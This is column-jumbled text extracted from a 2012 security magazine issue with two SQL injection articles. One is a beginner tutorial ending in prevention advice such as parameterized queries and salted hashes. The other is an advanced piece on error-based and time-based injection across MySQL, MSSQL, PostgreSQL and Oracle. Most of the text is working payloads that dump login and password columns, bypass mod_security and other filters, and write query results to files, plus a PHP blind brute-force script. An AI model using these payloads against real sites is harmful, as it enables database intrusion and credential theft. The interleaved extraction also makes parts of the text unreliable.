Now in our case, the table name “users” becomes
Now if it displays any number on the screen, it means – 7573657273. And our query becomes:
that the table name “admin” exists. So we can use the
displayed number we will write a new query. http://www.site.com/gallery.php?id=3 union all select 1,2,
group_concat(column_name),4 from information_schema.columns
http://www.site.com/gallery.php?id=3 union all where table_name=’0x 7573657273’—
select 1,2,username,4 from admin—
0xrepresents HEX format. It tells the database that we
If we get an error,it means that the column doesn’t are passing a string in HEX format.
exist and we need to try with some other column
name. If the column exists, it displays the username on Extracting Data
the screen. So similarly, we can retrieve the password. Let’s say that we found columns, username and
password. Now to complete the query we put them all
http://www.site.com/gallery.php?id=3 union all together using concat():
select 1,2,password,4 from admin—
http://www.site.com/gallery.php?id=3 union all select 1,2
FOR MySQL>5 group_concat(username,0x3a,password),4 from users—
In the case of MySQL databases having version greater
than 5, we need to know about information_schema. It is a 0x3ais the HEX form of column( : )
default database which holds metadata. It contains the Now we will find the data from the table “users” on the
table names and column names. So we use information_ screen as
schema to get the table names and column names rather
than guessing. adminuser:adminpass (Example)

Finding out table names Blind SQL Injection


Blind SQL Injection is the hardest part of SQL Injection.
http://www.site.com/gallery.php?id=3 union all We will go for blind SQL Injections when we don’t get
select 1,2,table_name,4 from information_schema.tables— any errors on the page even if it is vulnerable to SQL
Injection. ☺
Here we are replacing our number 3 with table _ name to We will go with the same vulnerable link here.
get the first table from information _ schema.tables. We can
add LIMIT to get the tables one after another. But I use Testing for vulnerability
group_concat(table_name) to get all the tables as a group.
http://www.site.com/gallery.php?id=3 and 1=1
http://www.site.com/gallery.php?id=3 union all select 1,2,
group_concat(table_name),4 from information_schema.tables— 1=1 is always true so the page loads normally.

The above query gives us all the table names available http://www.site.com/gallery.php?id=3 and 1=2
in information _ schema.
1=2 is always false, so the page should not load
Column names normally. It means, some content from the site will
To get the column names the method is same, we use miss. If it happens the site is Vulnerable to blind SQL
table_name and information_schema.tables Injection.

http://www.site.com/gallery.php?id=3 union all select 1,2, Getting MySQL Version


group_concat(column_name),4 from information_schema.columns To get the MySQL version in blind injection attack we
where table_name=’users’— use substring.

16 01/2012
SQL Injection

http://www.site.com/news.php?id=7 and substring(@@versi 1 character in length. ascii() converts that 1 character


on,1,1)=4 into ascii value and then compare it with symbol
greater then >. So if the ascii char greater then 80, the
This should return TRUE if the version of MySQL is 4. page loads normally. (TRUE) we keep trying until we
Replace 4 with 5, and if query return TRUE then the get false.
version is 5.
http://www.site.com/gallery.php?id=3 and
Checking for SUBSELECT ascii(substring((SELECT concat(username,0x3a,password)
When select don’t work then we use subselect. from users limit 0,1),1,1))>95

http://www.site.com/gallery.php?id=3 and (select 1)=1 We get TRUE, keep incrementing.

If page loads normally then subselect work. Then we http://www.site.com/gallery.php?id=3 and


are going to see if we have access to mysql.user ascii(substring((SELECT concat(username,0x3a,password)
from users limit 0,1),1,1))>98
http://www.site.com/news.php?id=7 and (select 1 from
mysql.user limit 0,1)=1 TRUE again, higher

If page loads normally we have access to mysql.user. http://www.site.com/gallery.php?id=3 and


ascii(substring((SELECT concat(username,0x3a,password)
Finding out tables and column names from users limit 0,1),1,1))>99
This is the step where we have to guess the table
names and column names. We should have some luck FALSE!!!
and a little knowledge of databases to guess the table So the first character in username is char(99). Using
names and column names. the ascii converter we know that char(99) is letter ‘c’.
So keep incrementing until you get the end. (when >0
http://www.site.com/gallery.php?id=3 and (select 1 returns false we know that we have reach the end).
from users limit 0,1)=1 Here is an ascii converter chart online http://
easycalculation.com/ascii-hex.php.
subselect returns one row, so in the above query limit Blind SQL Injection is the most time consuming
0,1 returns only one row of data. injection. So people prefer to use tools to do this attack.
With the above query, if the page loads normally then SQLMAP is the best tool to do this.
the table “users” exists. If some content is missing, then
we need to guess the right table. Prevention Techniques
Let us assume that we got the table “users”. Now we All the above techniques are very common in web
need to guess the column name from the table “users”. applications due to three reasons.
They are:
http://www.site.com/gallery.php?id=3 and (select
substring(concat(1,password),1,1) from users limit 0,1)=1 • The existance of SQL Injection vulnerabilities in
web applications because of it’s dynamic nature.
If the column exists, then the page will load normally. • Attractiveness of the attack and target.
If it doesn’t exist, we should guess some other column • Lastly, it is very is to exploit.
name.
To prevent SQL Injection vulnerabilities in web
Pulling data from the database applications,
Let us assume we found table users and columns
username password so we are going to pull characters • Stop writing dynamic queries or
from that. • Preventing the execution of malicious user input.

http://www.site.com/gallery.php?id=3 and Stopping writing dynamic queries is not a good practice


ascii(substring((SELECT concat(username,0x3a,password) because; it doesn’t make sense if we stop utilizing the
from users limit 0,1),1,1))>80 latest existing features. We need to provide some sort
of limitations in order to secure our web applications.
This here pulls the first character from first user in So the following techniques can be used to avoid SQL
table users. Substring here returns first character and Injection vulnerabilities.

www.hakin9.org/en 17
SQL INJECTION

String query = “SELECT * FROM users WHERE user_name = “ Cleaning and Validating Input
+ request.getParameter(“username”); This is very important in developing a web application.
‘ quote plays a major role in SQL Injection attacks.
try { A developer should replace the single quotes with
Statement statement = connection.createStatement( … ); possible double quotes in order to avoid the confusion
ResultSet results = statement.executeQuery( query ); on the database.
}
Salts and Hashes
The above code is a sample vulnerable code which Encrypting the sensitive data is one more major
allows an attacker to execute his malicious input defence against protecting data in a database. For
to get results from the database. The problem in items such as passwords, the user’s password can be
the above code is that the parameter username is stored as a “salted hash”. What happens is that when
directly appended to the actual query without any a user creates a password, a randomly generated “salt”
checking. value is created by the application and appended to the
password, and the password-and-salt are then passed
Using PARAMETERIZED queries through a one way encryption routine. The result is
a salted hash which is stored in the database along
In the above case, a developer should use a with the clear text salt string. The value of a salted
parameter instead of injecting the values directly hash is such that a dictionary attack will not work as
into the command. The attack above would not have each dictionary would have to be rebuilt appending the
been possible if parameterised queries had been various salt values and re computing the hash values
used. for each item. While it is still possible to determine
the password by brute force, the use of the salt (even
String usr = request.getParameter(“username”); though it is known) greatly slows down the process.
String query = “SELECT * FROM users WHERE user_name = ? “; The second advantage of the salt is that it masks any
PreparedStatement pstmt = connection.prepareStatement( query ); situations where two independent users happen to use
pstmt.setString( 1, usr); the same password, as the salted hash value for each
ResultSet results = pstmt.executeQuery( ); user would be different if given different salt values.
Thus use of salts and hashes greatly protects sensitive
In the above case, even if the attacker passes an SQL credentials like usernames and passwords.
string ( x’ or ‘x’=’x ) as we have seen in simple SQL
Injection, it will not allow an attacker to get in, because Least Privilege Database account
in the previous case, it is directly appended to the Running an application that connects to the database
query. This time, the entire string will be checked and if using the database’s administrator (DBA) account has
there is anything like x’ or ‘x’=’x in the database, then the potential for an attacker to perform almost limitless
only the attacker will be able to login which is almost commands with the database.An attacker can do
impossible. anything that an administrator can do. So a developer
should minimize the privileges on every database
Using Stored Procedures account. A Developer should make sure that accounts
Use of stored procedure is similar to parameterized that only need read access are only granted read
queries and provides safety if it is used in a safe access to the tables.
manner. If access to the data in SQL Server is only If it is needed to adopt a policy where we use stored
ever permitted via stored procedures, then permission procedures everywhere, and don’t allow application
does not need to be explicitly set on any of the tables. accounts to directly execute their own queries, then a
Therefore, none of the tables should ever need to be developer should restrict those accounts to only be able
exposed directly to outside applications. For an outside to execute the stored procedures they need without
application to read or modify the database, it must granting them any rights directly to the tables in the
go through stored procedures. Even though some database.
stored procedures, if used incorrectly, could potentially
damage the database.
This is one of the safest techniques to protect our
web applications. If we take an example of a website SRINIVASA RAO
having passwords, they will be always inside the Srinivasa Rao is the administrator of http://
database but will not be exposed to outside at any www.hackinginception.com where he writes hacking articles
cost. for beginners. He is a guest author at www.101hacker.com.

18 01/2012
���������������������� �����������������������

� � � � � � � � � � � � � � � � ���������
����������������������
������������������������
SQL INJECTION

Advanced
SQL Injection in the real world

These days, most information security experts are well aware of almost
all the classes of typical threats and vulnerabilities of information
systems. But so are hackers. This means that the information system
properties, which an attacker can leverage to harm the system owner
interests, have become common knowledge.

F
ortunately enough, quite a few public resources • Classical SQL Injection
provide practical techniques for protecting • Blind SQL Injection
information systems, as well as separate • Classical Blind SQL Injection
applications. In the field of web application security the • Error-Based Blind SQL Injection
most prominent communities are OWASP and WASC. • Double Blind (or Time-Based) SQL Injections
However, along with the development of such
user-oriented projects, the reverse trend aiming to Let us discuss each technique in more detail.
find ways of hacking a database also evolves. With Considering that exploitation of SQL Injection
hackers constantly improving their skills and global strongly depends on the Structured Query Language
expansion of web technologies that require database peculiarities, the examples we use in this article chiefly
usage, researchers faced a challenge and started to apply to the widely-spread database management
investigate the problem. This is how the term SQL system MySQL.
Injection appeared. With time, this vulnerability became
well-known, bringing fun to some and trouble to others. Classic SQL Injection
SQL Injection is a hacking technique that enables A classic approach to exploitation of SQL Injection
hacker to bypass firewall and attack database. In this vulnerabilities primarily consists in combining two SQL
method, the parameters that web application sends to queries in order to obtain extra information out of a
the database are modified to affect the query executed by certain table/file. A possibility of classic SQL Injection
SQL application. Malicious data can be injected through all attack facilitates obtaining useful information. The
available means of interaction with the SQL application. attack is conducted by means of the union operator
If the injection completes successfully, hacker may be or by SQL query separation (by semicolons). In case
able to gain access to: when a return page body contains only one entry from
the table, line-by-line reading technique is used. Below
• classified data and/or system configuration settings, is an example of the query for an attack against the
which can be used to develop the attack vector (for MySQL database: Listing 1.
example, modified SQL query may return hashed For other databases, queries will be slightly different.
user passwords, which can later be brute-forced); However, it’s not the query itself that does the trick.
• other systems via the database host computer (this There are two main things to keep in mind.
can be achieved by using database procedures
and 3GL programming language extensions that • First of all, some databases (for instance, Oracle,
support interaction with operating and file systems). MSSQL, PostgreSQL, and others) support query
separation by semicolons, thus allowing one not
There exist several SQL Injection exploitation only to obtain data from a table, but to edit the
techniques: content of the table by means of, for example,

20 01/2012
Advanced SQL Injection in the real world

INSERT-type operators. By the way, the above ?/id=1 limit 0 union select concat(login,password) from
PostgreSQL example will work equally well with users
the query separation used instead of the union ?/id=1 union select concat_ws(‘:’,login,password) from
operator. users
• Secondly, unlike MySQL, a number of databases do
not perform implicit type conversion. For instance, Other databases distinct from MySQL might use other
Oracle is one of such databases, so one should symbols for concatenating data, for example, ‘&’, ‘||’, ‘+’.
use explicit type conversion or the magic word null If there are still some “remnants” of a “good” SQL
to ensure correct processing of an SQL query. query left after the injection has been performed, e.g.
“limit…” or “order by…” constructions, these remnants
It should be mentioned that obtaining data from a are removed by means of the following comments:
large table using the line-by-line reading technique
takes quite a lot of time. So, when DBMS queries are ?/id=1 union select login,password from users--++
executed by a privileged user (for example, file _ priv ?/id=1 union select login,password from users/*++
for MySQL), the SELECT query result can be output …
into the file:
It’s not just a mere coincidence that the above
?/id=1 limit 0 union select login,password from users examples contain two characters ‘++’. Data transferred
into outfile ‘/tmp/users’ by the GET method will be converted into spaces
or when the web server sends them to the database.
RFC will interpret the resulting query as an absolutely
?/id=1 limit 0 union select login,password from users correct one.
into dumpfile ‘/tmp/users’ Everything is plain and simple. Or, rather, it was plain
and simple until rugged administrators started using
In fact, once the SQL Injection exploitation provided various security filters (aka WAF, Web Application
you with a possibility to work with a file system, Firewall) to protect vulnerable web applications. Such
you’re a footstep away from a possibility to execute solutions are mostly based on signature analysis and
commands on the server. Besides, industrial this is their main flaw. The SQL features and a huge
databases, such as MSSQL, have the command variety of databases in many cases allow bypassing the
line interaction interface embedded into the DBMS filtration of the incoming data.
architecture. For that reason, according to the general For example, below is a universal vector of bypassing
terminology, SQL Injections belong to the class of mod_security protection against SQL Injection in default
Command Execution vulnerabilities. rules:
It’s worth noting that if data is injected into a query
of the INSERT/UPDATE/DELETE type with MySQL /?id=1/*!limit 0 union select concat_ws(0x3a,
being the database in consideration, it is impossible to login,password)from users*/
output the results to a file by means of subqueries due /?id=1/*!12345limit 0 union select concat_ws(0x3a,login,
to database restrictions. password)from users*/
For cases when data is injected into an SQL query ...
executed in a table with limited number of columns, it is
common to use data concatenation functions, such as It really works because when MySQL encounters a
concat() and concat_ws(): statement containing /*!bla-bla*/ and /*!12345bla-bla*/,

Listing 1. Classic SQL Injection

?/id=1 limit 0 union select login,password from users limit 0,1


?/id=1 limit 0 union select login,password from users limit 1,1
...
?/id=1 limit 0 union select login,password from users limit 1 offset 0
?/id=1 limit 0 union select login,password from users limit 1 offset 1
(the latter two are equally possible for both MySQL and PostgreSQL).

www.hakin9.org/en 21
SQL INJECTION

it will interpret the bla-bla as an SQL code. As for the /?id=1 and (select (@v:=password)from users limit 1,1)
case of 12345, MySQL compares this number with its union select @v--
own version. If the running version number is higher,
the SQL query will be executed. Meanwhile, the etc.
“sensible” mod _ security, before comparing the query However, an SQL Injection does not always provide
with its signatures from the SQL Injection vulnerability a possibility to influence the data returned by the
base, gets rid of extra data in the incoming query, application. When no such modification is possible, the
namely, of the /**/ -type comments. vulnerability is called blind. It’s worth mentioning that
Another example of a “self-made” PHP filter is it is various blind types of the SQL Injection that allow
provided below. This filter was encountered in real life: bypassing many filters (including WAF).

... Blind SQL Injection


if (ereg („^(.){1,3}$”, $_GET[‘id’], $regs)) { A Blind SQL Injection is used when the vulnerable query
mysql_query(„SELECT id,email FROM members where id=”.$_ represents a certain part of application’s logic but does
GET[‘id’]); not allow displaying any data on the return page. The
... Blind SQL Injection technique provides possibilities
that are comparable to those of the classic one: it
The attack can be conducted by means of the null- allows writing and reading files and obtaining data from
byte symbol: tables, however, the reading in this case is carried out
character by character. The traditional exploitation of
/?id=1/*%00*/union+select+id,concat_ws(0x3a,login,passwo such vulnerabilities employs true/false statements. If
rd)+from+users the statement is true, the web application will respond
with content of one type; if it is false, the respond will
This method is workable because the outdated ereg contain another type of content. Using the difference in
function interprets strings as binary data, while the first the output data for true and false query statements, one
three symbols correspond to a regular expression. can receive table or file data character by character.
Another filter, which was once employed for protection A Blind SQL Injection is possible in the following
of quite a well-known product, used to get alarmed with cases:
queries of the following type:
• An attacker cannot control data displayed to a user
/?id=1 union select password from users as a result of an SQL query.

Yet, the following queries caused no reaction at all: Listing 2. Blind SQL Injection

/?id=1 union select passwd from users ...


/?id=1 union select pass from users $result = mysql_query("SELECT user FROM users where
/?id=1 union select password from user id = ".$_GET['id']) or die('Query
/?id=1 union select login from users-- failed: ' . mysql_error());
if(mysql_num_rows($result)>0)
etc. {
But what if you need to use exactly the column ...
password and the table users? As an option, you can a part of application logic, for example,
try a blind method of exploitation: execution of another SELECT
query
/?id=1 and 1=if(ord((lower(mid((select password from ...
users limit 0,1),1,1))))=NUM,1,2)-- }
else
But in our case, the filter was bypassed in a far {
more elegant way. The signature reacts only on the echo "error";
substrings password and users following the key word }
union. Taking that into account, you can create the …
following query which will bypass the filter:

/?id=1 and (select (@v:=password)from users limit 0,1)


union select @v--

22 01/2012
Advanced SQL Injection in the real world

Figure 1. Error-based SQL Injection in Microsoft SQL Server

• Data is injected into two distinct SELECT queries For example, SQL Injection vulnerabilities are very
which, in their turn, retrieve data from tables with a common for numeric application parameters. Depending
different number of columns. on the number specified, the web application returns
• Request concatenation is filtered (e.g., by WAF). different content. Thus, by comparing the numbers
with the content and mapping them with the characters
An example of PHP code vulnerable to the Blind SQL being matched, one can easily read the table data. It
Injection is provided Listing 2. can be illustrated in the following way:
The vulnerability can be exploited in the following
way: A news title 111 – the identifier in the parameter
id=3245 – a character being matched 0
/?id=1 and 555=if(ord(mid((select pass from users limit A news title 222 – the identifier in the parameter id=2456
0,1),1,1))=97,555,777) – a character being matched 1
A news title 333 – the identifier in the parameter id=4562
If the Users table contains the Pass column and the – a character being matched 2
first character of the first entry in this column equals
97 (character a), then MySQL will return TRUE and etc.
the request will be true. Otherwise, MySQL will return Below are some examples of queries used for the
FALSE, and for the above code, the page will display attack (for example, for accurate identification of the
an error message. first character in an MD5 hash): Listing 3.
It goes without saying that the approach can be a bit Keep in mind that this method has restriction for the
simplified in a few ways. One way is to use a binary length of an HTTP request (the restriction is distinct
tree. Another, even simpler way is to get use of the for different web servers). In all other respects, the
design of the application. approach is quite efficient in cases when easier

Listing 3. Queries used for the attack

/?id=if((mid((select pass from users limit 0,1),1,1)in('0'))>0,(3245),


if((mid((select pass from users limit 0,1),1,1)in('1'))>0,(2456),
if((mid((select pass from users limit 0,1),1,1)in('2'))>0,(4562),
if((mid((select pass from users limit 0,1),1,1)in('3'))>0,(12345),
if((mid((select pass from users limit 0,1),1,1)in('4'))>0,(12346),
if((mid((select pass from users limit 0,1),1,1)in('5'))>0,(12347),
if((mid((select pass from users limit 0,1),1,1)in('6'))>0,(12348),
if((mid((select pass from users limit 0,1),1,1)in('7'))>0,(12349),
if((mid((select pass from users limit 0,1),1,1)in('8'))>0,(12350),
if((mid((select pass from users limit 0,1),1,1)in('9'))>0,(12351),
if((mid((select pass from users limit 0,1),1,1)in('a'))>0,(12352),
if((mid((select pass from users limit 0,1),1,1)in('b'))>0,(12353),
if((mid((select pass from users limit 0,1),1,1)in('c'))>0,(12354),
if((mid((select pass from users limit 0,1),1,1)in('d'))>0,(12355),
if((mid((select pass from users limit 0,1),1,1)in('e'))>0,(12356),
if((mid((select pass from users limit 0,1),1,1)in('f'))>0,(12357),
null))))))))))))))))

www.hakin9.org/en 23
SQL INJECTION

methods do not work. Generally speaking, this method exploiting a SQL Injection vulnerability as described
is universal since it does not depend on a database above. For example, you can recover the database
being used. structure in the following way: Listing 5.
Yet, really quick exploitation methods for the Blind If we take into account that Sybase ASE is based on
SQL Injection vulnerabilities were developed in the field Transact-SQL as MS SQL Server is, then we can say
of the Error-Based Blind SQL Injection. with confidence that the considered technique can be
applied to this DBMS, too. Experiments with Sybase
Error-Based Blind SQL Injection ASE strongly confirm this assumption.
Error-Based Blind SQL Injection is the quickest The same tricks with type conversion can be used for
technique of Blind SQL Injection exploitation. This PostgreSQL:
method is based on the fact that various DBMSs
can place sensitive information (e.g. the database web=# select cast(version() as numeric);
version) into the error messages in case of receiving ERROR: invalid input syntax for type numeric:
an illegal SQL expression. This technique can be used „PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled
if the vulnerable application returns a message when by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]”
any SQL expression processing error occurs in the
database. To obtain sensitive information, one can exploit an
For MSSQL, the Error-Based Blind SQL Injection SQL Injection vulnerability in the application operating
technique appeared in 2003 or so. An error occurs in under PostgreSQL by executing the following queries:
the database when data type conversion is performed Listing 6.
improperly, which allows a malicious user to receive Constructions ::text::int can be used instead of as
sensitive information from the returned error message: numeric (Figure 2).
Listing 4 and Figure 1. However, such trick will not work for the MySQL
Thus, it becomes possible to retrieve the required database. This is why there had been no exploitation
information from a certain DBMS rather quickly by techniques for Error-Based Blind SQL Injection

Listing 4. Error - Based Blind SQL Injection

select convert(int,@@version);

Msg 245, Level 16, State 1, Line 1

Jul 9 2008 14:43:34


Copyright (c) 1988-2008 Microsoft Corporation
Enterprise Edition on Windows NT 6.1 <X86> (Build 7600: ) (VM)
' to data type int.

Listing 5. Recovering the database structure

http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_
name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_
name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))--

Listing 6. SQL Injection vulnerability in the application

http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric
)--
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric
)--

24 01/2012
Advanced SQL Injection in the real world

Figure 2. Error-based SQL Injection in PostgreSQL

vulnerabilities in MySQL until 2009, when a researcher verified). Qwazar used this method in conjunction
under the pseudonym Qwazar described new ways to with the method proposed by Elekt (select 1 union
exploit Blind SQL Injection vulnerabilities in his article select 2) to show how an attacker can receive up to 12
for the Russian Hacker magazine. characters of valuable information via one query to the
The first idea was to use illegal regular expressions web application. The query looks as follows: Listing 7.
that cause various errors when a SELECT query is Thus, if there is the column pass in the table users and
executed by MySQL (exactly when it is executed, not the first character of the first entry in this column is 0,

Listing 7. How attacker can receive up to 12 characters of information

/?id=1 AND 1 rlike concat(


if((mid((select pass from users limit 0,1),1,1)in('0'))>0,(0x787B312C3235367D),
if((mid((select pass from users limit 0,1),1,1)in('1'))>0,(0x787B312C28),
if((mid((select pass from users limit 0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),
if((mid((select pass from users limit 0,1),1,1)in('3'))>0,(0x5B5B),
if((mid((select pass from users limit 0,1),1,1)in('4'))>0,(0x28287B317D),
if((mid((select pass from users limit 0,1),1,1)in('5'))>0,(0x0),
if((mid((select pass from users limit 0,1),1,1)in('6'))>0,(0x28),
if((mid((select pass from users limit 0,1),1,1)in('7'))>0,(0x5B322D315D),
if((mid((select pass from users limit 0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),
if((mid((select pass from users limit 0,1),1,1)in('9'))>0,(0x5C),
if((mid((select pass from users limit 0,1),1,1)in('a'))>0,(select 1 union select 2),(1)))))))))))))

Listing 8. Applying approach to MySQL version 5.0 and later

mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group


by x;
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_
schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1

Listing 9. Receiving the target data

mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select


2)a group by x limit 1);
...
1 row in set (0.00 sec)
...
mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select
2)a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1

www.hakin9.org/en 25
SQL INJECTION

Figure 3. Error-based SQL Injection in MySQL


then MySQL will return an error message “#1139 – Got concat _ ws()make it possible to receive the database
error ‘invalid repetition count(s)’ from regexp”. If the first dump rather quickly. Unfortunately, this trick with
character is 1, then another unique error message will the name _ const() function will work only for MySQL
be received: “#1139 – Got error ‘braces not balanced’ versions 5.0.12–5.0.64.
from regexp”, and so on. We tried to find an equivalent of the function
The second suggestion was to use an error message name_const() and discovered another useful function
returned by MySQL as a container for valuable data (as ExtractValue() introduced in MySQL version 5.1.5. This
they do for MSSQL when type conversion is performed function is meant for extraction of values from an XML
improperly) for quick exploitation of Blind SQL Injection data stream. Meanwhile, this function has another,
vulnerabilities. For example, let us consider the hacker application. Let us consider the following query:
following query:
/?id=1 and ExtractValue(1,concat(0x5C,(select pass from
/?id=1 union select * from (select * from (select users limit 0,1)));
name_const((select pass from users limit 1), 14)d) as t
join (select name_const((select pass from users limit The following error message will be returned:
1), 14)e) b)a
XPATH syntax error: ‘\f8d80def69dc3ee86c5381219e4c5c8’
This query will return an error message containing
valuable data from the pass column, e.g., an MD5 Thus, we can read data from a table by exploiting Blind
hash: SQL Injection vulnerabilities in MySQL 5.1.5 and later.
The limit is 31 bytes of useful information per query.
#1060 – Duplicate column name ‘f8d80def69dc3ee86c538121 An error message “XPATH syntax error” is returned in
9e4c5c80’ response to the same old illegal regular expression \\ .
So then in the beginning of 2010, our old acquaintance
This method allows one to receive up to 64 bytes of Qwazar proposed a universal exploitation technique for
valuable data via one query to the web application. SQL Injection vulnerabilities in applications operating
Use of string concatenation functions concat() and under MySQL. It was a rather complex and unobvious

Listing 10. Technique for database recovery

http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+
limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+
limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--

Listing 11. Function that returns the �rst symbol of the requested data in the error message

SQL> select XMLType((select 'abcdef' from dual)) from dual;


ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

26 01/2012
Advanced SQL Injection in the real world

technique, we must say. Here is an example of applying • The technique can only be applied to tables with
this universal approach to MySQL version 5.0 and later: more than two rows.
Listing 8. • To induce a query error when extracting data from
If the table name is not known (e.g., in MySQL 5.0 columns like VARCHAR and longer (depending
and earlier), more complex queries entirely based on on the platform), it is necessary to use cut string
the function rand() should be used. It means that in functions (e.g., MID)
some cases, it will take more than one HTTP request to
receive the target data (Listing 9). As for the Oracle database, similar techniques for
Below is an example of practical use of the hacking it have been known since a long time ago. For
described technique for database structure recovery: example:
Listing 10.
The method proposed by Qwazar works for all /?param=1 and(1)=(utl_inaddr.get_host_name((select
MySQL versions including 3.x, which still can be found banner from sys.v_$version where rownum=1)))--
on the Web. For MySQL 3.x, the attack vector looks as ...
follows:
However, we were searching for a fresh perspective,
/id?=1 or 1 group by concat(version(),floor(rand(0)*2)) which was found at last in the XMLType() function that
having min(0) or 1--++ returns the first symbol of the requested data in the
error message (LPX-00XXX): Listing 11.
However, many flaws have been revealed in this Moreover, the substr() function provides the means
method over the last two years. We cannot cover to extract data character by character. For example, it
all of them in this article, but the most considerable won’t take you long to determine the database version
shortcomings are the following: as shown Listing 12.

Listing 12. Determining the database

select XMLType((select substr(version,1,1) from v$instance)) from users;


select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...etc.

Listing 13. Return required data by an error message

SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;


ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed

LPX-00110: Warning: invalid QName ":abcdef" (not a Name)


...
SQL>

Listing 14. Query returns the following unwanted error

SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got –

www.hakin9.org/en 27
SQL INJECTION

Figure 4. Error-based SQL Injection in Oracle DBMS


select id from(select id,rownum rnum from users a)where
Research also showed that XMLType() can force error rnum=1;
message to return the required data in the way it is done select id from(select id,rownum rnum from users a)where
on other databases: Listing 13. rnum=2;
However, this method needs a little tweaking due to ...
Oracle database peculiarities. First of all, since Oracle
DBMS does not support implicit type conversion, the Hex coding helps avoid data loss. You may also
above query returns the following unwanted error: consider eliminating quotation marks from the
Listing 14. query text, so that it bypasses application’s filters
Secondly, the lack of LIMIT and OFFSET clauses for incoming requests. To do this, use the ASCII
hampers line-by-line data extraction. And, to crown it character-encoding scheme.
all, XMLType() tends to cut out data that being returned After all the editing, the resulting query will look
in the error message comes after certain symbols, such roughly as follows: Listing 15.
as space or @. The described method allows extraction of up to 214
Yet, this is no time to panic. The type conversion issue bytes (107 symbols in case of hex coding) of valuable
is resolved with the help of the upper() function. The line- information in one HTTP request, provided that an
by-line data extraction can be implemented with the application runs under Oracle DBMS 9.0 or earlier and
following adjustment to the query: returns the following error: Listing 16.

Listing 15. Query after editing looks roughly

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(log


in||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where
rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(log
in||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where
rnum=2)||chr(62)))from dual);

Listing 16. Oracle application that returns to the error

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||c
hr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62))
)from dual)--

Listing 17. Decodin the extracted data

SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264') from dual;


UTL_RAW.CAST_TO_VARCHAR2('61646D696E3A3A5040737377307264')
--------------------------------------------------------------------------------
admin::P@ssw0rd
SQL>

28 01/2012
Advanced SQL Injection in the real world

To decode the extracted data, standard Oracle


function can be used: Listing 17 and Figure 4.

Double Blindness
There are some cases when, besides suppression of all
error messages on pages returned by web application,
vulnerable SQL queries are used for some internal
purposes, for example, for some event logging or
internal optimization. Related SQL-Injections belong
to the group of Double Blind (or Time-Based) SQL
Injections.
The exploitation technique for this type of SQL
Injection is based on time delays between a query
sent to a web application and its response. You can
specially craft such a delay, for instance, by creating an
appropriate loop via while(). Classically, the benchmark()
function is used for exploiting the vulnerability under
MySQL. However, the best practice is to apply sleep().
The sleep() function is more secure since it does not
Figure 5. Proof-of-concept time-based SQL Injection exploration consume server CPU resources, unlike benchmark().
Below is an example of a simple character-by-character
Listing 18. Simple character- by character brute force script
with time delay
brute force script involving time delay (Listing 18 and
Figure 5).
... As demonstrated above, alphabetical order is used in
function brute($column,$table,$lim) the $b_srt array for brute force. The script consecutively
{ checks every character for its matching a database
$ret_str = ""; character. You can try to speed up the process by
$b_str = "1234567890_abcdefghijklmnopqrstuvwxyz"; arranging characters in a more opportune order or by
$b_arr = str_split($b_str); using a binary tree.
for ($i=1;$i<100;$i++)
{ Instead of Conclusion
print "[+] Brute $i symbol...\n"; While this article was being prepared, new interesting
techniques of SQL Injection exploitation in Oracle
for ($j=0;$j<count($b_arr);$j++) DBMS were developed. As we can see, this field is very
promising and thriving, and an enthusiastic researcher
$brute = ord($b_arr[$j]); will always have an opportunity to discover something
$q = "/**/and/**/if((ord(lower(mid((select/ new. Have fun!
**/$column/**/from/**/$table/**/
limit/**/$lim,1),$i,1))))=$brute,sl
eep(6),0)--";
if (http_connect($q))
{
$ret_str=$ret_str.$b_arr[$j];
print $b_arr[$j]."\n";
break;
}
print ".";

}
